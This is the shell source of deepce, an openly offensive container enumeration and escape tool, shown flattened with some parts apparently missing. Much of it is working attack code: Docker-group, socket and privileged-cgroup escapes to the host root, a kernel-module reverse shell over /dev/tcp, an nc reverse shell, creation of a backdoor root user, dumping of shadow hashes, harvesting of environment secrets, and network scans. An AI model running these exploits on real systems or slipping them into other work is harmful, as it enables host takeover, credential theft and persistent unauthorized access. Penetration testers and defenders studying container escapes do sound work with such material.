#!/bin/sh # shellcheck disable=SC2034 VERSION="v0.1.0" ADVISORY="deepce should be used for authorized penetration testing and/or educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own networks and/or with the network owner's permission." ########################################### #---------------) Colors (----------------# ########################################### C=$(printf '\033') RED="${C}[1;31m" GREEN="${C}[1;32m" Y="${C}[1;33m" B="${C}[1;34m" LG="${C}[1;37m" #LightGray DG="${C}[1;90m" #DarkGray NC="${C}[0m" UNDERLINED="${C}[4m" EX="${C}[48;5;1m" banner() { if [ "$quiet" ]; then return fi cat < dnsutils printError "apt install -y $1" elif [ -x "$(command -v apk)" ]; then # Alpine # TODO: dig / nslookup -> bind-tools printError "apk add $1" elif [ -x "$(command -v yum)" ]; then # CentOS / Fedora # TODO: dig / nslookup -> bind-utils printError "yum install $1" elif [ -x "$(command -v apt-get)" ]; then # Old Debian # TODO dig / nslookup / host -> dnsutils printError "apt-get install -y $1" fi nl } installPackages() { if ! [ "$install" ]; then return fi if ! [ "$(id -u)" = 0 ]; then # TODO: Elevate via sudo printError "Need to be root to install packages..." return fi printSection "Installing Packages" if [ -x "$(command -v apt)" ]; then # Debian based OSes printQuestion "Installing Packages ....." export DEBIAN_FRONTEND=noninteractive if ! [ "$(apt update 2>/dev/null)" ]; then # printError "Failed" return fi if apt install --no-install-recommends --force-yes -y dnsutils curl nmap iputils-ping libcap2-bin >/dev/null 2>&1; then printSuccess "Success" else printError "Failed" fi elif [ -x "$(command -v apk)" ]; then # Alpine apk add bind-tools curl nmap libcap elif [ -x "$(command -v yum)" ]; then # CentOS / Fedora yum install bind-utils curl nmap libcap elif [ -x "$(command -v apt-get)" ]; then # Old Debian apt-get install -y dnsutils curl nmap inetutils-ping libcap2-bin fi } unsetColors(){ RED="" GREEN="" Y="" B="" LG="" DG="" NC="" UNDERLINED="" EX="" } describeColors(){ # Describe the colors unless they have been unset or we're being quiet if [ "$quiet" ] || ! [ "$RED" ]; then return fi printSection "Colors" printQuestion "Exploit Test ............"; printEx "Exploitable - Check this out"; printResult "Basic Test .............." "Positive Result" printResult "Another Test ............" "" "Error running check" printQuestion "Negative Test ..........."; printNo; printResultLong "Multi line test ........." "Command output spanning multiple lines" nl printTip "Tips will look like this and often contains links with additional info. You can usually ctrl+click links in modern terminal to open in a browser window See ${UNDERLINED}https://stealthcopter.github.io/deepce${NC}" } ########################################### #---------------) Checks (----------------# ########################################### containerCheck() { # Are we inside docker? inContainer="" if [ -f "/.dockerenv" ]; then inContainer="1" containerType="docker" fi # Additional check in case .dockerenv removed if grep "/docker/" /proc/1/cgroup -qa; then inContainer="1" containerType="docker" fi #Docker check: cat /proc/1/attr/current # Are we inside kubenetes? if grep "/kubepod" /proc/1/cgroup -qa; then inContainer="1" containerType="kubentes" fi # Are we inside LXC? if env | grep "container=lxc" -qa; then inContainer="1" containerType="lxc" fi if grep "/lxc/" /proc/1/cgroup -qa; then inContainer="1" containerType="lxc" fi } containerType() { printResult "Container Platform ......" "$containerType" "Unknown" } userCheck() { printQuestion "User ...................." if [ "$(id -u)" = 0 ]; then isUserRoot="1" printSuccess "root" else printSuccess "$(whoami)" fi printQuestion "Groups .................." groups=$(groups| sed "s/\($DANGEROUS_GROUPS\)/${LG}${EX}&${NC}${DG}/g") printStatus "$groups" "None" } dockerSockCheck() { # Is the docker sock exposed printQuestion "Docker Sock ............." dockerSockPath="" if [ -S "/var/run/docker.sock" ]; then dockerSockPath="/var/run/docker.sock" printYes else printFail "Not Found" # TODO: Search elsewhere for sock? fi if [ "$dockerSockPath" ]; then printInfo "$(ls -lah $dockerSockPath)" # Is docker sock writable printQuestion "Sock is writable ........" if test -r "$dockerSockPath"; then printYesEx printTip "$TIP_WRITABLE_SOCK" if [ -x "$(command -v curl)" ]; then sockInfoCmd="curl -s --unix-socket $dockerSockPath http://localhost/info" sockInfoRepsonse="$($sockInfoCmd)" printTip "To see full info from the docker sock output run the following" printStatus "$sockInfoCmd" nl # Docker version unknown lets get it from the sock if [ -z "$dockerVersion" ]; then # IF jq... #dockerVersion=`$sockInfoCmd | jq -r '.ServerVersion'` dockerVersion=$(echo "$sockInfoRepsonse" | tr ',' '\n' | grep 'ServerVersion' | cut -d'"' -f 4) fi # Get info from sock info=$(echo "$sockInfoRepsonse" | tr ',' '\n' | grep "$GREP_SOCK_INFOS" | grep -v "$GREP_SOCK_INFOS_IGNORE" | tr -d '"') printInfo "$info" else printError "Could not interact with the docker sock, as curl is not installed" printInstallAdvice "curl" fi else printNo fi fi } enumerateContainer() { printSection "Enumerating Container" containerID containerName containerIPs getContainerInformation containerCapabilities containerServices containerPrivileges containerExploits } containerID() { # Get container ID containerID="$(cat /etc/hostname)" #containerID="$(hostname)" #containerID="$(uname -n)" # Get container full ID printResult "Container ID ............" "$containerID" "Unknown" if [ "$containerType" = "docker" ]; then containerFullID=$(basename "$(cat /proc/1/cpuset)") printResult "Container Full ID ......." "$containerFullID" "Unknown" fi } containerIPs() { sleep 2 # Get container IP if [ -x "$(command -v hostname)" ]; then containerIP="$(hostname -I 2>/dev/null || hostname -i)" elif [ -x "$(command -v ip)" ]; then containerIP="$(ip route get 1 | head -1 | cut -d' ' -f7)" # FIXME: Use sed as fields are inconsistent fi printResult "Container IP ............" "$containerIP" "Could not find IP" # Container DNS dnsServers=$(grep "nameserver" /etc/resolv.conf | cut -d' ' -f2 | tr '\n' ' ') printResult "DNS Server(s) ..........." "$dnsServers" "Could not find DNS Servers" # Host IP if [ -x "$(command -v netstat)" ]; then hostIP="$(netstat -nr | grep '^0\.0\.0\.0' | awk '{print $2}')" elif [ -x "$(command -v ip)" ]; then hostIP="$(ip route get 1 | cut -d' ' -f 3)" elif [ "$containerIP" ]; then # No tools available, just have a guess hostIP=$(echo "$containerIP" | cut -d'.' -f 1-3).1 fi printResult "Host IP ................." "$hostIP" "Could not find Host IP" } containerTools(){ for CMD in ${CONTAINER_CMDS}; do tools="$tools $(command -v "${CMD}")" done printResultLong "Container tools ........." "$(echo "$tools" | tr ' ' '\n'| grep -v '^$')" "None" } containerName() { # Get container name # host, dig, nslookup if [ "$containerType" = "docker" ]; then # Requires containerIP if [ "$containerIP" ]; then if [ -x "$(command -v host)" ]; then containerName=$(host "$containerIP" | rev | cut -d' ' -f1 | rev) elif [ -x "$(command -v dig)" ]; then containerName=$(dig -x "$containerIP" +noall +answer | grep 'PTR' | rev | cut -f1 | rev) elif [ -x "$(command -v nslookup)" ]; then containerName=$(nslookup "$containerIP" 2>/dev/null | grep 'name = ' | rev | cut -d' ' -f1 | rev) else missingTools="1" fi fi else containerName=$containerID fi printQuestion "Container Name .........." if [ "$containerName" ]; then printSuccess "$containerName" else printError "Could not get container name through reverse DNS" if [ "$missingTools" ]; then printTip "$TIP_DNS_CONTAINER_NAME" printInstallAdvice "host dig nslookup" fi fi } getContainerInformation() { # Enumerate container info if [ -x "$(command -v lsb_release)" ]; then os="$(lsb_release -i | cut -f2)" else os="$(uname -o)" fi kernelVersion=$(uname -r) arch=$(uname -m) cpuModel=$(grep 'model name' /proc/cpuinfo | head -n1 | cut -d':' -f2| cut -d' ' -f2-) printMsg "Operating System ........" "$os" printMsg "Kernel .................." "$kernelVersion" printMsg "Arch ...................." "$arch" printMsg "CPU ....................." "$cpuModel" for CMD in ${USEFUL_CMDS}; do tools="$tools $(command -v "${CMD}")" done # shellcheck disable=SC2086 # Double quotes messes up output... printResultLong "Useful tools installed .." "$(echo $tools | tr ' ' '\n')" } containerCapabilities() { printQuestion "Dangerous Capabilities .." if [ -x "$(command -v capsh)" ]; then if capsh --print| grep -q "$DANGEROUS_CAPABILITIES"; then caps=$(capsh --print |grep 'cap_' | sed "s/\($DANGEROUS_CAPABILITIES\)/${LG}${EX}&${NC}${DG}/g") printYes printStatus "$caps" else printNo fi else printError "Unknown (capsh not installed)" fi } containerServices() { # SSHD printQuestion "SSHD Service ............" if ! [ -x "$(command -v ps)" ]; then printError "Unknown (ps not installed)" return fi (ps -aux 2>/dev/null || ps -a) | grep -v "grep" | grep -q "sshd" # shellcheck disable=SC2181 if [ $? -eq 0 ]; then if [ -f "/etc/ssh/sshd_config" ]; then sshPort=$(grep "^Port" /etc/ssh/sshd_config || echo "Port 22" | cut -d' ' -f2) printSuccess "Yes (port $sshPort)" else printSuccess "Yes" fi else printNo fi } containerPrivileges() { printQuestion "Privileged Mode ........." if [ -x "$(command -v fdisk)" ]; then if [ "$(fdisk -l 2>/dev/null | wc -l)" -gt 0 ]; then printYesEx printTip "$TIP_PRIVILEGED_MODE" else printNo fi else printError "Unknown" fi } containerExploits() { # If we are on an alpine linux disto check for CVE–2019–5021 if [ -f "/etc/alpine-release" ]; then alpineVersion=$(cat /etc/alpine-release) printQuestion "Alpine Linux Version ...." printSuccess "$alpineVersion" printQuestion "└── CVE-2019-5021 ......." if [ "$(ver "$alpineVersion")" -ge "$(ver 3.3.0)" ] && [ "$(ver "$alpineVersion")" -le "$(ver 3.6.0)" ]; then printYesEx printTip "$TIP_CVE_2019_5021" else printNo fi fi } enumerateContainers() { printSection "Enumerating Containers" if [ "$inContainer" ]; then # If inside a container printTip "$TIP_NETWORK_ENUM" # Find containers... if [ "$dockerCommand" ]; then # Enumerate containers using docker dockercontainers=$(docker ps --format "{{.Names}}" 2>/dev/null | wc -l) printMsg "Docker Containers........" "$dockercontainers" docker ps -a elif [ "$dockerSockPath" ]; then # Enumerate containers using sock TODO "Enumerate container using sock" else pingSweep fi portScan else # Not in a container if docker ps >/dev/null 2>&1; then # Enumerate docker containers dockercontainers=$(docker ps --format "{{.Names}}" 2>/dev/null | wc -l) dockercontainersTotal=$(docker ps -a --format "{{.Names}}" 2>/dev/null | wc -l) printMsg "Docker Containers........" "$dockercontainers Running, $dockercontainersTotal Total" docker ps -a fi if lxc list >/dev/null 2>&1; then # Enumerate lxc containers lxccontainers=$(lxc list | grep -c "| RUNNING |" 2>/dev/null) lxccontainersTotal=$(lxc list | grep -c "| CONTAINER |" 2>/dev/null) printMsg "LXC Containers..........." "$lxccontainers Running, $lxccontainersTotal Total" lxc list fi if rkt list >/dev/null 2>&1; then # Enumerate rkt containers rktcontainers=$(rkt list 2>/dev/null | tail -n +2 | wc -l) printMsg "RKT Containers..........." "$rktcontainers Total" # TODO: Test and add total rkt list fi fi } pingSweep() { if [ "$noNetwork" ]; then return fi if [ "$containerIP" ]; then # Enumerate containers the hard way (network enumeration) subnet=$(echo "$containerIP" | cut -d'.' -f1-3) if [ -x "$(command -v nmap)" ]; then # Method 1: nmap printQuestion "Attempting ping sweep of $subnet.0/24 (nmap)" nl nmap -oG - -sP "$subnet.0/24" | grep "Host:" elif [ -x "$(command -v ping)" ] && ping -c 1 127.0.0.1 2>/dev/null 1>&2; then # Method 2: ping sweep (check ping is executable, and we can run it, sometimes needs root) printQuestion "Attempting ping sweep of $containerIP/24 (ping)" nl pids="" # Ping all IPs in range set +m for addr in $(seq 1 1 10); do (ping -c 1 -t 1 "$subnet.$addr" >/dev/null && echo "$subnet.$addr" is Up) & true >/dev/null pids="${pids} $!" done # Wait for all background pids to complete for pid in ${pids}; do wait "${pid}" done else printError "Could not ping sweep, requires nmap or ping to be executable" fi else printError "Cannot enumerate network without IP address" fi } portScan() { if [ "$noNetwork" ]; then return fi # Scan containers / host if [ -x "$(command -v nmap)" ]; then # Method 1: nmap if [ "$containerIP" ]; then printSection "Scanning Host" printQuestion "Scanning host $hostIP (nmap)" nmap "$hostIP" -p- fi fi } findMountedFolders() { # Find information about mount points printSection "Enumerating Mounts" printQuestion "Docker sock mounted ......." if grep -q docker.sock /proc/self/mountinfo; then printYesEx # Docker sock appears to be mounted, uhoh! printTip "$TIP_WRITABLE_SOCK" dockerSockPath=$(grep "docker.sock" /proc/self/mountinfo | cut -d' ' -f 5) else printNo fi otherMounts=$(grep -v "$GREP_IGNORE_MOUNTS" /proc/self/mountinfo | cut -d' ' -f 4-) printQuestion "Other mounts .............." if [ "$otherMounts" ]; then printYes printStatus "$otherMounts" # Possible host usernames found: (sed is hard... using a fudge) usernames=$(echo "$otherMounts" | sed 's/.*\/home\/\(.*\)/\1/' | cut -d '/' -f 1 | sort | uniq | tr '\n' ' ') if [ "$usernames" ]; then printResult "Possible host usernames ..." "$usernames" fi if echo "$otherMounts" | grep -q "ecryptfs"; then printResult "Encrypted home directory .." "Detected" fi else printNo fi } findInterestingFiles() { printSection "Interesting Files" interestingVars=$( (env && cat /proc/*/environ) 2>/dev/null | sort | uniq | grep -Ii "$GREP_SECRETS") boringVars=$( (env && cat /proc/*/environ) 2>/dev/null | sort | uniq | grep -Iiv "$GREP_SECRETS") printQuestion "Interesting environment variables ..." if [ "$interestingVars" ]; then printYes printSuccess "$interestingVars" else printNo fi printStatus "$boringVars" # Any common entrypoint files etc? entrypoint=$(ls -lah /*.sh /*entrypoint* /**/entrypoint* /**/*.sh /deploy* 2>/dev/null) printResultLong "Any common entrypoint files ........." "$entrypoint" # Any files in root dir if [ -x "$(command -v find)" ]; then interestingFiles=$(find / -maxdepth 1 -type f | grep -v "/.dockerenv\|deepce.sh") else # shellcheck disable=SC2010 interestingFiles=$(ls -lah / | grep -v '^d\|^l\|^total\|.dockerenv\|deepce.sh') fi printResultLong "Interesting files in root ..........." "$interestingFiles" # Any secrets in root dir files result=$(grep -Iins --exclude="deepce.sh" "$GREP_SECRETS" /*) printResultLong "Passwords in common files ..........." "$result" # Home Directories homeDirs="$(ls -lAh /home)" printQuestion "Home directories ...................." if echo "$homeDirs" | grep -qv 'total 0'; then printStatus "$homeDirs" else printNo fi hashes=$(cut -d':' -f2 < /etc/shadow 2>/dev/null | grep -v '^*$\|^!') printQuestion "Hashes in shadow file ..............." if [ "$hashes" ]; then printYes printStatus "$hashes" elif test -r /etc/shadow; then # Cannot check... printFail "No permissions" else printNo fi # TODO: Check this file /run/secrets/ printQuestion "Searching for app dirs .............." nl for p in ${PATH_APPS}; do if [ -f "$p" ]; then printSuccess "$p" printMsg "$(ls -lAh "$p")" fi done } checkDockerRootless() { printQuestion "Rootless ................" if docker info 2>/dev/null|grep -q rootless; then printYes printTip "$TIP_DOCKER_ROOTLESS" else printNo fi } getDockerVersion() { printQuestion "Docker Executable ......." if [ "$(command -v docker)" ]; then dockerCommand="$(command -v docker)" dockerVersion="$(docker -v | cut -d',' -f1 | cut -d' ' -f3)" printSuccess "$dockerCommand" printQuestion "Docker version .........." printSuccess "$dockerVersion" checkDockerRootless printQuestion "User in Docker group ...." if groups | grep -q '\bdocker\b'; then printYesEx printTip "$TIP_DOCKER_GROUP" else printNo fi else printFail "Not Found" fi } checkDockerVersionExploits() { # Check version for known exploits printResult "Docker Version .........." "$dockerVersion" "Version Unknown" if ! [ "$dockerVersion" ]; then return fi printQuestion "CVE–2019–13139 .........." if [ "$(ver "$dockerVersion")" -lt "$(ver 18.9.5)" ]; then printYesEx printTip "$TIP_CVE_2019_13139" else printNo fi printQuestion "CVE–2019–5736 ..........." if [ "$(ver "$dockerVersion")" -lt "$(ver 18.9.3)" ]; then printYesEx printTip "$TIP_CVE_2019_5736" else printNo fi } ########################################### #--------------) Exploits (---------------# ########################################### prepareExploit() { # Shared method that takes the user input and converts it into a cmd to be used for exploitation # Current available PAYLOADS are: # - shadow # - local shell # - custom command # - new root user printMsg "Preparing Exploit" " " if [ "$shadow" ]; then # Show shadow password hashes printMsg "Exploit Type ............." "Print Shadow" printMsg "Clean up ................." "Automatic on container exit" cmd="cat /etc/shadow" elif [ "$username" ]; then # New root user if ! [ "$username" ]; then printError "username missing" exit 1 fi if ! [ "$password" ]; then printError "password missing" exit 1 fi printMsg "Exploit Type ............." "Add new root user" printMsg "Username ................." "$username" printMsg "Password ................." "$password" printMsg "Clean up ................." "Manual, remember to delete user after exploitation!" # Cool little bash one-liner to make a new user, set password and give it user id of 0 (root) cmd="useradd $username;echo $password:$password|chpasswd $username;usermod -ou 0 $username" elif [ "$command" ]; then # Custom payload (run a command) printMsg "Exploit Type ............." "Custom Command" printMsg "Custom Command ..........." "$command" printMsg "Clean up ................." "Automatic on container exit" cmd="$command" elif [ "$ip" ]; then # Reverse shell if ! [ "$port" ]; then printError "port missing" exit 1 fi printMsg "Shell Type ....... " "Reverse TCP" printMsg "Create listener .. " "No" printMsg "Host ............. " "$ip" printMsg "Port ............. " "$port" cmd="/bin/sh -c nc $ip $port -e /bin/sh" if [ "$listen" ]; then # Enable job control set -m # Create listener nc -lvnp "$port" & # PID_NC=$! bg fi else # TODO: Disable on sock / privileged as we dont have interactive printMsg "Exploit Type ............." "Local Shell" printMsg "Create shell ............." "Yes" printMsg "Clean up ................." "Automatic on container exit" cmd="/bin/sh" fi if ! [ "$cmd" ]; then printError "Nothing to do, if trying to launch a shell add -cmd bash" exit 1 fi } exploitDocker() { printSection "Exploiting Docker" printTip "$TIP_DOCKER_CMD" if ! [ -x "$(command -v docker)" ]; then printError "Docker command not found, but required for this exploit" exit fi checkDockerRootless prepareExploit printQuestion "Exploiting" nl # shellcheck disable=SC2086 # Word splitting is expected and allowed here docker run -v /:/mnt --rm -it alpine chroot /mnt $cmd printQuestion "Exploit complete ...." if [ $? ]; then printSuccess "Success" else printError 'Error' fi } exploitPrivileged() { # This is disabled because if no-enum is set then we dont know if we're in a container.. # if ! [ "$inContainer" ]; then # printError "Not in container" # return # fi printSection "Exploiting Privileged" printTip "$TIP_PRIVILEGED_MODE" prepareExploit # POC modified from https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/ # shellcheck disable=SC2012 # Not using find as it may not be available d=$(dirname "$(ls -x /s*/fs/c*/*/r* | head -n1)") if [ -S "$d" ]; then printError "Error: exploit failed (docker too old?)" return fi mkdir -p "$d/w" echo 1 >"$d/w/notify_on_release" t="$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)" touch /o echo "$t/c" >"$d/release_agent" printf "#!/bin/sh\n%s > %s/o" "$cmd" "$t">/c chmod +x /c sh -c "echo 0 >$d/w/cgroup.procs" sleep 1 cat /o rm /c /o } exploitDockerSock() { printSection "Exploiting Sock" printTip "$TIP_DOCKER_SOCK" if ! [ -x "$(command -v curl)" ]; then printInstallAdvice "curl" exit fi if ! [ -S "$dockerSockPath" ]; then printError "Docker sock not found, but required for this exploit" exit fi prepareExploit nl # Create docker container using the docker sock payload="[\"/bin/sh\",\"-c\",\"chroot /mnt sh -c \\\"$cmd\\\"\"]" response=$(curl -s -XPOST --unix-socket /var/run/docker.sock -d "{\"Image\":\"alpine\",\"cmd\":$payload, \"Binds\": [\"/:/mnt:rw\"]}" -H 'Content-Type: application/json' http://localhost/containers/create) if ! [ $? ]; then printError 'Something went wrong' echo "$response" return fi revShellContainerID=$(echo "$response" | cut -d'"' -f4) printQuestion "Creating container ....." printSuccess "$revShellContainerID" startCmd="curl -s -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/$revShellContainerID/start" logsCmd="curl -s --unix-socket /var/run/docker.sock \"http://localhost/containers/$revShellContainerID/logs?stderr=1&stdout=1\" --output -" deleteCmd="curl -s -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/$revShellContainerID/stop" removeCmd="curl -s -XDELETE --unix-socket /var/run/docker.sock http://localhost/containers/$revShellContainerID" printQuestion "If the shell dies you can restart your listener and run the start command to fire it again" nl printStatus "Start Command: $startCmd" printStatus "Logs Command: $logsCmd" printQuestion "Once complete remember to tidy up by stopping and removing your container with following commands" nl printStatus "Stop Command: $deleteCmd" printStatus "Remove Command: $removeCmd" # FIXME: Must be a better way of doing this... response=$(eval "$startCmd") printQuestion "Starting container ....." if [ $? ]; then printSuccess "Success" else printError 'Something went wrong...' fi delay=2 printMsg "Sleeping for ..........." "${delay}s" sleep $delay response=$(eval "$logsCmd") printQuestion "Fetching logs .........." if [ $? ]; then printSuccess "Success" printStatus "$response" else printError 'Something went wrong...' fi printQuestion "Exploit completed ....." if [ "$listen" ]; then # Create listener printSuccess 'Switching to listener' fg else printSuccess ':)' fi # TODO: Switch to listener if wanted # TODO: Tidy up command } exploitSysModule(){ printSection "Exploiting SYS_MODULE" printTip "$TIP_SYS_MODULE" if ! [ -x "$(command -v capsh)" ]; then printError "capsh is required to run this exploit." exit 1 fi if ! [ -x "$(command -v make)" ]; then printError "make is required to run this exploit." exit 1 fi if ! [ -x "$(command -v insmod)" ]; then printError "insmod is required to run this exploit." exit 1 fi if ! [ -d "/lib/modules/$(uname -r)" ]; then printError "Linux headers for $(uname -r) are required to run this exploit." exit 1 fi caps=$(capsh --print) if ! echo "$caps" | grep -qa "cap_sys_module" ; then printError "We don't have the SYS_MODULE capability, which is required for this exploit" exit 1 fi if [ -z "$ip" ]; then printError "Missing reverse shell IP : use --ip" exit 1 fi if [ -z "$port" ]; then printError "Missing reverse shell port : use --port" exit 1 fi module_name=$(tr -dc A-Za-z "$module_name.c" #include #include MODULE_LICENSE("GPL"); MODULE_AUTHOR("AttackDefense"); MODULE_DESCRIPTION("LKM reverse shell module"); MODULE_VERSION("1.0"); char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/$ip/$port 0>&1", NULL}; static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL }; static int __init ${module_name}_init(void) { return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC); } static void __exit ${module_name}_exit(void) { } module_init(${module_name}_init); module_exit(${module_name}_exit); EOF cat << EOF > Makefile obj-m +=${module_name}.o all: make -C /lib/modules/$(uname -r)/build M=$(pwd) modules clean: make -C /lib/modules/$(uname -r)/build M=$(pwd) clean EOF printSuccess "Done" printQuestion "Compiling kernel module..." if make 1>/dev/null ; then printSuccess "Done" else printError "Failed to make. Do you have all the required libraries installed?" exit 1 fi printQuestion "Mounting kernel module..." if insmod "$module_name.ko" 1>/dev/null ; then printSuccess "Done" else printError "Failed to mount module" exit 1 fi printQuestion "Cleaning up..." rm -r /dev/shm/rev cd "$sys_cwd" || exit printSuccess "Done" printSuccess "Check your reverse shell handler!" } ########################################### #--------------) Arg Parse (--------------# ########################################### while [ $# -gt 0 ]; do key="$1" case $key in -h | --help) show_help exit 0 ;; -ne | --no-enumeration | --no-enum | --no-enumerate) skipEnum="1" shift ;; -nn | --no-network | --no-net) noNetwork="1" shift ;; -nc | --no-cols | --no-colors | --no-colours) unsetColors shift ;; -q | --quiet) quiet="1" shift ;; -e | -ex | --exploit) exploit="$2" shift shift ;; -l | --listen) listen="1" shift ;; --user|--username) username="$2" shift shift ;; -cmd | --command) command="$2" shift shift ;; --pass|--password) password="$2" shift shift ;; -s | --shadow) shadow="1" shift ;; -i | --ip) ip="$2" shift shift ;; -p | --port) port="$2" shift shift ;; --install) install="1" shift ;; -doc | --delete | --delete-on-complete) delete="1" shift ;; *) echo "Unknown option $1" exit 1 ;; esac done ########################################### #--------------) Execution (--------------# ########################################### banner describeColors installPackages if ! [ "$skipEnum" ]; then printSection "Enumerating Platform" containerCheck printQuestion "Inside Container ........" if [ "$inContainer" ]; then # Inside Container printYes containerType containerTools userCheck if [ "$containerType" = "docker" ]; then getDockerVersion dockerSockCheck checkDockerVersionExploits fi enumerateContainer findMountedFolders findInterestingFiles enumerateContainers else # Outside Container printNo userCheck containerTools getDockerVersion dockerSockCheck checkDockerVersionExploits enumerateContainers fi fi # Parse exploit argument if [ "$exploit" ]; then case $exploit in docker | DOCKER) exploitDocker ;; priv | PRIV | privileged | PRIVILEGED) exploitPrivileged ;; sock | SOCK) exploitDockerSock ;; sys | SYS | sys_module | SYS_MODULE) exploitSysModule ;; *) echo "Unknown exploit $1" exit 1 ;; esac fi printSection "" if [ "$delete" ]; then rm -- "$0" fi exit 0